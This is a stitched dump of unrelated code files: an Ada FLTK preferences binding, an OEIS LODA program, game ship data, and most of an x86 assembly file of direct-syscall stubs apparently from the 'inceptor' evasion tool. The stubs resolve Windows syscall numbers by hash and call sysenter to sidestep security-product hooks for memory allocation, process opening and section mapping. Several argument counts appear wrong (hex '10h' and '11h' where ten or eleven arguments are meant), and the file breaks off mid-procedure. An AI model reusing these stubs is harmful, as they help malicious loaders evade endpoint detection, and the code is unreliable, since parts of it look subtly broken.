K : in Interfaces.C.char_array;
V : out Interfaces.C.double;
D : in Interfaces.C.double)
return Interfaces.C.int;
pragma Import (C, fl_preferences_get_double, "fl_preferences_get_double");
pragma Inline (fl_preferences_get_double);
function fl_preferences_get_str
(E : in System.Address;
K : in Interfaces.C.char_array;
V : out Interfaces.C.Strings.chars_ptr;
D : in Interfaces.C.char_array)
return Interfaces.C.int;
pragma Import (C, fl_preferences_get_str, "fl_preferences_get_str");
pragma Inline (fl_preferences_get_str);
function fl_preferences_set_int
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_int, "fl_preferences_set_int");
pragma Inline (fl_preferences_set_int);
function fl_preferences_set_float
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.C_float)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_float, "fl_preferences_set_float");
pragma Inline (fl_preferences_set_float);
function fl_preferences_set_float_prec
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.C_float;
P : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_float_prec, "fl_preferences_set_float_prec");
pragma Inline (fl_preferences_set_float_prec);
function fl_preferences_set_double
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.double)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_double, "fl_preferences_set_double");
pragma Inline (fl_preferences_set_double);
function fl_preferences_set_double_prec
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.double;
P : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_double_prec, "fl_preferences_set_double_prec");
pragma Inline (fl_preferences_set_double_prec);
function fl_preferences_set_str
(E : in System.Address;
K : in Interfaces.C.char_array;
V : in Interfaces.C.char_array)
return Interfaces.C.int;
pragma Import (C, fl_preferences_set_str, "fl_preferences_set_str");
pragma Inline (fl_preferences_set_str);
function fl_preferences_deleteentry
(E : in System.Address;
K : in Interfaces.C.char_array)
return Interfaces.C.int;
pragma Import (C, fl_preferences_deleteentry, "fl_preferences_deleteentry");
pragma Inline (fl_preferences_deleteentry);
function fl_preferences_deleteallentries
(E : in System.Address)
return Interfaces.C.int;
pragma Import (C, fl_preferences_deleteallentries, "fl_preferences_deleteallentries");
pragma Inline (fl_preferences_deleteallentries);
function fl_preferences_clear
(E : in System.Address)
return Interfaces.C.int;
pragma Import (C, fl_preferences_clear, "fl_preferences_clear");
pragma Inline (fl_preferences_clear);
procedure fl_preferences_flush
(E : in System.Address);
pragma Import (C, fl_preferences_flush, "fl_preferences_flush");
pragma Inline (fl_preferences_flush);
procedure Finalize
(This : in out Preferences) is
begin
if This.Void_Ptr /= System.Null_Address and then
This in Preferences'Class
then
free_fl_preferences (This.Void_Ptr);
This.Void_Ptr := System.Null_Address;
end if;
end Finalize;
package body Forge is
function From_Filesystem
(Path, Vendor, Application : in String)
return Preferences is
begin
return This : Preferences do
This.Void_Ptr := new_fl_preferences
(Interfaces.C.To_C (Path),
Interfaces.C.To_C (Vendor),
Interfaces.C.To_C (Application));
end return;
end From_Filesystem;
end Forge;
function Number_Of_Entries
(This : in Preferences)
return Natural is
begin
return Natural (fl_preferences_entries (This.Void_Ptr));
end Number_Of_Entries;
function Get_Key
(This : in Preferences;
Index : in Natural)
return String
is
Key : Interfaces.C.Strings.chars_ptr :=
fl_preferences_entry (This.Void_Ptr, Interfaces.C.int (Index));
begin
-- no need for dealloc?
if Key = Interfaces.C.Strings.Null_Ptr then
raise Constraint_Error;
else
return Interfaces.C.Strings.Value (Key);
end if;
end Get_Key;
function Entry_Exists
(This : in Preferences;
Key : in String)
return Boolean is
begin
return fl_preferences_entryexists (This.Void_Ptr, Interfaces.C.To_C (Key)) /= 0;
end Entry_Exists;
function Entry_Size
(This : in Preferences;
Key : in String)
return Natural is
begin
return Natural (fl_preferences_size (This.Void_Ptr, Interfaces.C.To_C (Key)));
end Entry_Size;
function Get
(This : in Preferences;
Key : in String)
return Integer
is
Value : Interfaces.C.int;
begin
if fl_preferences_get_int
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value, 0) = 0
then
raise Preference_Error;
end if;
return Integer (Value);
end Get;
function Get
(This : in Preferences;
Key : in String)
return Float
is
Value : Interfaces.C.C_float;
begin
if fl_preferences_get_float
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value, 0.0) = 0
then
raise Preference_Error;
end if;
return Float (Value);
end Get;
function Get
(This : in Preferences;
Key : in String)
return Long_Float
is
Value : Interfaces.C.double;
begin
if fl_preferences_get_double
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value, 0.0) = 0
then
raise Preference_Error;
end if;
return Long_Float (Value);
end Get;
function Get
(This : in Preferences;
Key : in String)
return String
is
Value : Interfaces.C.Strings.chars_ptr;
Check : Interfaces.C.int := fl_preferences_get_str
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value,
Interfaces.C.To_C ("default"));
begin
if Check = 0 then
raise Preference_Error;
end if;
if Value = Interfaces.C.Strings.Null_Ptr then
return "";
else
declare
Str : String := Interfaces.C.Strings.Value (Value);
begin
Interfaces.C.Strings.Free (Value);
return Str;
end;
end if;
end Get;
function Get
(This : in Preferences;
Key : in String;
Default : in Integer)
return Integer
is
Value, X : Interfaces.C.int;
begin
X := fl_preferences_get_int
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value,
Interfaces.C.int (Default));
return Integer (Value);
end Get;
function Get
(This : in Preferences;
Key : in String;
Default : in Float)
return Float
is
Value : Interfaces.C.C_float;
X : Interfaces.C.int;
begin
X := fl_preferences_get_float
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value,
Interfaces.C.C_float (Default));
return Float (Value);
end Get;
function Get
(This : in Preferences;
Key : in String;
Default : in Long_Float)
return Long_Float
is
Value : Interfaces.C.double;
X : Interfaces.C.int;
begin
X := fl_preferences_get_double
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value,
Interfaces.C.double (Default));
return Long_Float (Value);
end Get;
function Get
(This : in Preferences;
Key : in String;
Default : in String)
return String
is
Value : Interfaces.C.Strings.chars_ptr;
X : Interfaces.C.int := fl_preferences_get_str
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Value,
Interfaces.C.To_C (Default));
begin
if Value = Interfaces.C.Strings.Null_Ptr then
return "";
else
declare
Str : String := Interfaces.C.Strings.Value (Value);
begin
Interfaces.C.Strings.Free (Value);
return Str;
end;
end if;
end Get;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in Integer) is
begin
if fl_preferences_set_int
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.int (Value)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in Float) is
begin
if fl_preferences_set_float
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.C_float (Value)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in Float;
Precision : in Natural) is
begin
if fl_preferences_set_float_prec
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.C_float (Value),
Interfaces.C.int (Precision)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in Long_Float) is
begin
if fl_preferences_set_double
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.double (Value)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in Long_Float;
Precision : in Natural) is
begin
if fl_preferences_set_double_prec
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.double (Value),
Interfaces.C.int (Precision)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Set
(This : in out Preferences;
Key : in String;
Value : in String) is
begin
if fl_preferences_set_str
(This.Void_Ptr,
Interfaces.C.To_C (Key),
Interfaces.C.To_C (Value)) = 0
then
raise Preference_Error;
end if;
end Set;
procedure Delete_Entry
(This : in out Preferences;
Key : in String) is
begin
if fl_preferences_deleteentry (This.Void_Ptr, Interfaces.C.To_C (Key)) = 0 then
raise Preference_Error;
end if;
end Delete_Entry;
procedure Delete_All_Entries
(This : in out Preferences) is
begin
if fl_preferences_deleteallentries (This.Void_Ptr) = 0 then
raise Preference_Error;
end if;
end Delete_All_Entries;
procedure Clear
(This : in out Preferences) is
begin
if fl_preferences_clear (This.Void_Ptr) = 0 then
raise Preference_Error;
end if;
end Clear;
procedure Flush
(This : in Preferences) is
begin
fl_preferences_flush (This.Void_Ptr);
end Flush;
end FLTK.Environment;
|
oeis/282/A282692.asm | neoneye/loda-programs | 11 | 242586 | <reponame>neoneye/loda-programs
; A282692: a(n) = maximal number of nonzero real roots of any of the 3^(n+1) polynomials c_0 + c_1*x + c_2*x^2 + ... + c_n*x^n where the coefficients c_i are -1, 0, or 1.
; 0,1,2,3,3,3,4,5,5,5,5,5,6,7,7
mov $1,1
lpb $0
trn $0,$1
add $1,$0
trn $0,1
sub $1,$0
add $1,1
lpe
mov $0,$1
sub $0,1
|
Data/ships/Plate.asm | TinfoilAsteroid/EliteNext | 9 | 162939 | <reponame>TinfoilAsteroid/EliteNext<filename>Data/ships/Plate.asm
Plate: DB $80
DW $0064
DW PlateEdges
DB PlateEdgesSize
DB $00, $0A
DB PlateVertSize /6
DB PlateVertSize
DB PlateEdgesCnt
DB $00, $00
DB PlateNormalsSize
DB $05, $10, $10
DW PlateNormals
DB $03, $00
DW PlateVertices
DB 0,0 ; Type and Tactics
DB ShipCanAnger
PlateVertices: DB $0F, $16, $09, $FF, $FF, $FF
DB $0F, $26, $09, $BF, $FF, $FF
DB $13, $20, $0B, $14, $FF, $FF
PlateVertSize: equ $ - PlateVertices
PlateEdges: DB $1F, $FF, $00, $04
DB $10, $FF, $04, $08
DB $14, $FF, $08, $0C
DB $10, $FF, $0C, $00
PlateEdgesSize: equ $ - PlateEdges
PlateEdgesCnt: equ PlateEdgesSize/4
PlateNormals: DB $00, $00, $00, $00
PlateNormalsSize: equ $ - PlateNormals
PlateLen: equ $ - Plate
|
inceptor/syscalls/syswhispersv2_x86/x86/Syscalls.asm | whitefi/inceptor | 743 | 173701 | .686
.XMM
.MODEL flat, c
ASSUME fs:_DATA
.CODE
; x64 for x86
EXTERN SW2_GetSyscallNumber: PROC
NtAccessCheck PROC
push ebp
mov ebp, esp
push 0C45B3507h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheck ENDP
NtWorkerFactoryWorkerReady PROC
push ebp
mov ebp, esp
push 08DAEE74Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWorkerFactoryWorkerReady ENDP
NtAcceptConnectPort PROC
push ebp
mov ebp, esp
push 018AF0340h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAcceptConnectPort ENDP
NtMapUserPhysicalPagesScatter PROC
push ebp
mov ebp, esp
push 0A36D8931h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMapUserPhysicalPagesScatter ENDP
NtWaitForSingleObject PROC
push ebp
mov ebp, esp
push 064DED283h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForSingleObject ENDP
NtCallbackReturn PROC
push ebp
mov ebp, esp
push 0FA60878Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCallbackReturn ENDP
NtReadFile PROC
push ebp
mov ebp, esp
push 0B5139A5Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReadFile ENDP
NtDeviceIoControlFile PROC
push ebp
mov ebp, esp
push 0D876A360h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeviceIoControlFile ENDP
NtWriteFile PROC
push ebp
mov ebp, esp
push 002981C2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWriteFile ENDP
NtRemoveIoCompletion PROC
push ebp
mov ebp, esp
push 0930C939Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRemoveIoCompletion ENDP
NtReleaseSemaphore PROC
push ebp
mov ebp, esp
push 018084D38h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReleaseSemaphore ENDP
NtReplyWaitReceivePort PROC
push ebp
mov ebp, esp
push 062F27B76h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplyWaitReceivePort ENDP
NtReplyPort PROC
push ebp
mov ebp, esp
push 01AB11324h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplyPort ENDP
NtSetInformationThread PROC
push ebp
mov ebp, esp
push 0554A61D5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationThread ENDP
NtSetEvent PROC
push ebp
mov ebp, esp
push 0298B301Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetEvent ENDP
NtClose PROC
push ebp
mov ebp, esp
push 0049F2513h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtClose ENDP
NtQueryObject PROC
push ebp
mov ebp, esp
push 0F8C80384h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryObject ENDP
NtQueryInformationFile PROC
push ebp
mov ebp, esp
push 078DC7476h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationFile ENDP
NtOpenKey PROC
push ebp
mov ebp, esp
push 064D19FB2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenKey ENDP
NtEnumerateValueKey PROC
push ebp
mov ebp, esp
push 0964FE5B4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateValueKey ENDP
NtFindAtom PROC
push ebp
mov ebp, esp
push 0DB5FEA9Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFindAtom ENDP
NtQueryDefaultLocale PROC
push ebp
mov ebp, esp
push 0663754A3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryDefaultLocale ENDP
NtQueryKey PROC
push ebp
mov ebp, esp
push 003C6EE5Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryKey ENDP
NtQueryValueKey PROC
push ebp
mov ebp, esp
push 02EFF5D05h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryValueKey ENDP
NtAllocateVirtualMemory PROC
push ebp
mov ebp, esp
push 00D9F1913h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAllocateVirtualMemory ENDP
NtQueryInformationProcess PROC
push ebp
mov ebp, esp
push 0822EA9B3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationProcess ENDP
NtWaitForMultipleObjects32 PROC
push ebp
mov ebp, esp
push 08F42C8D7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWaitForMultipleObjects32 ENDP
NtWriteFileGather PROC
push ebp
mov ebp, esp
push 0DBC4349Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtWriteFileGather ENDP
NtCreateKey PROC
push ebp
mov ebp, esp
push 0099D4C4Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateKey ENDP
NtFreeVirtualMemory PROC
push ebp
mov ebp, esp
push 0039E1B01h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFreeVirtualMemory ENDP
NtImpersonateClientOfPort PROC
push ebp
mov ebp, esp
push 010B2392Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtImpersonateClientOfPort ENDP
NtReleaseMutant PROC
push ebp
mov ebp, esp
push 080BED298h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReleaseMutant ENDP
NtQueryInformationToken PROC
push ebp
mov ebp, esp
push 00B990506h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationToken ENDP
NtRequestWaitReplyPort PROC
push ebp
mov ebp, esp
push 0A0F166BBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRequestWaitReplyPort ENDP
NtQueryVirtualMemory PROC
push ebp
mov ebp, esp
push 0C985E520h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryVirtualMemory ENDP
NtOpenThreadToken PROC
push ebp
mov ebp, esp
push 02B9F1114h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenThreadToken ENDP
NtQueryInformationThread PROC
push ebp
mov ebp, esp
push 08EA243F4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtQueryInformationThread ENDP
NtOpenProcess PROC
push ebp
mov ebp, esp
push 04DD34C5Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenProcess ENDP
NtSetInformationFile PROC
push ebp
mov ebp, esp
push 0E5B6CB63h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationFile ENDP
NtMapViewOfSection PROC
push ebp
mov ebp, esp
push 0C348C3DAh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMapViewOfSection ENDP
NtAccessCheckAndAuditAlarm PROC
push ebp
mov ebp, esp
push 0A8A8A93Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtAccessCheckAndAuditAlarm ENDP
NtUnmapViewOfSection PROC
push ebp
mov ebp, esp
push 008C02E49h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
